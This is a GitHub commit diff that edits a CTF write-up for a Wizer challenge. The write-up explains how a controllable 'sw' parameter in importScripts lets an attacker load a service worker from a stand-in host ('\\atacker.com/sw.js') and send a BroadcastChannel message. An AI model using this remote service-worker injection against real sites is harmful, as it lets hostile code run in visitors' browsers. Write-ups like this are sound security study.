Skip to content

Commit

Permalink
Update wizer_ctf_6_hour_challenge_2024.md
Browse files Browse the repository at this point in the history
  • Loading branch information
Aftab700 authored Feb 7, 2024
1 parent 715b763 commit 6becd45
Showing 1 changed file with 5 additions and 4 deletions.
9 changes: 5 additions & 4 deletions CTF/ctfs/wizer_ctf_6_hour_challenge_2024.md
Original file line number Diff line number Diff line change
Expand Up @@ -225,7 +225,7 @@ app.listen(port, () => {

Url: https://events.wizer-ctf.com/

In the webpage there is a `https://events.wizer-ctf.com/app.js` when we analyze it we notice that it will
In the webpage there is a `https://events.wizer-ctf.com/app.js`. when we analyse it, we notice that it will
Get the "mode" and "color" GET parameters from url and assign it to `modeParam` and `colorParam`

![image](https://github.com/Aftab700/Writeups/assets/79740895/936de271-6404-49a8-bea8-d31955f758c5)
Expand All @@ -243,13 +243,13 @@ Here if we put `modeParam=sw` then we can control the value of `const sw` it wil

`https://events.wizer-ctf.com/sw.js?sw=` have the following code

```
```js
// Allow loading in of service workers dynamically
importScripts('/utils.js');
importScripts(`/${getParameterByName('sw')}`);
```

It will import the serviceWorker from value of `sw` since we can control it we can import our own serviceWorker with `sw=\\atacker.com/sw.js`. \
It will import the serviceWorker from the value of `sw` since we can control it we can import our own serviceWorker with `sw=\\atacker.com/sw.js`. \
This will get the file from `https://atacker.com/sw.js`

now to craft our serviceWorker take a look at this
Expand All @@ -263,7 +263,8 @@ BroadcastChannel enables communication between different windows, tabs, or worke

so in serviceWorker we create a new BroadcastChannel instance using the same name ('recipebook'): \
`const channel = new BroadcastChannel('recipebook');` \
Use the postMessage() method on the BroadcastChannel instance to send a message with a message property: `channel.postMessage({ message: 'Wizer' });`
Use the postMessage() method on the BroadcastChannel instance to send a message with a message property: \
`channel.postMessage({ message: 'Wizer' });`

serviceWorker payload:
```js
Expand Down

0 comments on commit 6becd45

Please sign in to comment.